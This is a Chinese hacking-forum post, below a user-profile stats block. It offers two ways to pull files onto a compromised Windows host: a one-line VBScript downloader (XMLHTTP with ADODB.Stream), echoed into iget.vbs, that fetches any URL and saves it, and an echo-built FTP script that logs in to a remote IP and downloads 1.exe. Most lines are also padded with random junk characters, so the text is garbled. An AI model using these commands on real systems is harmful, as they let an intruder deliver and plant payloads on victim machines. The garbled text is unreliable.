- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
< >解决办法: 5 W$ o- |* X, a3 }' P* n
1.iget.vbs一次写入
5 {! r, L$ o% p* Z9 ]+ z在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写 , P3 A: I8 m i# i; _ G5 w
8 |! A! m3 y5 _' {+ USet x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 3 w, j+ f+ E4 O8 F
% R, a3 x& j/ q4 }
这样我们可以一次echo成功,echo版本:
. j1 m" x9 V4 r2 c G
, b- s' d5 z& Secho Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs
! W0 D, f/ p! u' }0 q7 `8 {6 ]+ C; l( q
% V: a5 T9 R' Q9 N0 }" x7 y2.bat调用ftp脚本的写法(by envymask) 7 N. v1 @6 k/ ]( w. d# Y
4 `2 \/ U; I) _% W" o, H
echo ftp>1.vbs 8 T6 z" e: b8 F. t5 q/ O
echo open ip>2.vbs ( l9 O- _% B7 K3 c7 s# w& W- ~- b
echo u>3.vbs ( _( D6 c4 r7 e$ q( k- \
echo s>4.vbs
9 [* u, U1 U7 X hecho binary>5.vbs
$ A1 l& ?6 _( F' f) ~ Mecho get 1.exe>6.vbs " d' Q" {% s2 l2 s" V$ n6 ?
echo bay>7.vbs
& R' r+ Z& D5 _6 a3 ~0 v- Y3 u; V/ `& L- d) u1 x
copy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs ( G8 Y P0 Q: y5 i& {# x+ {0 h
</P> |
zan
|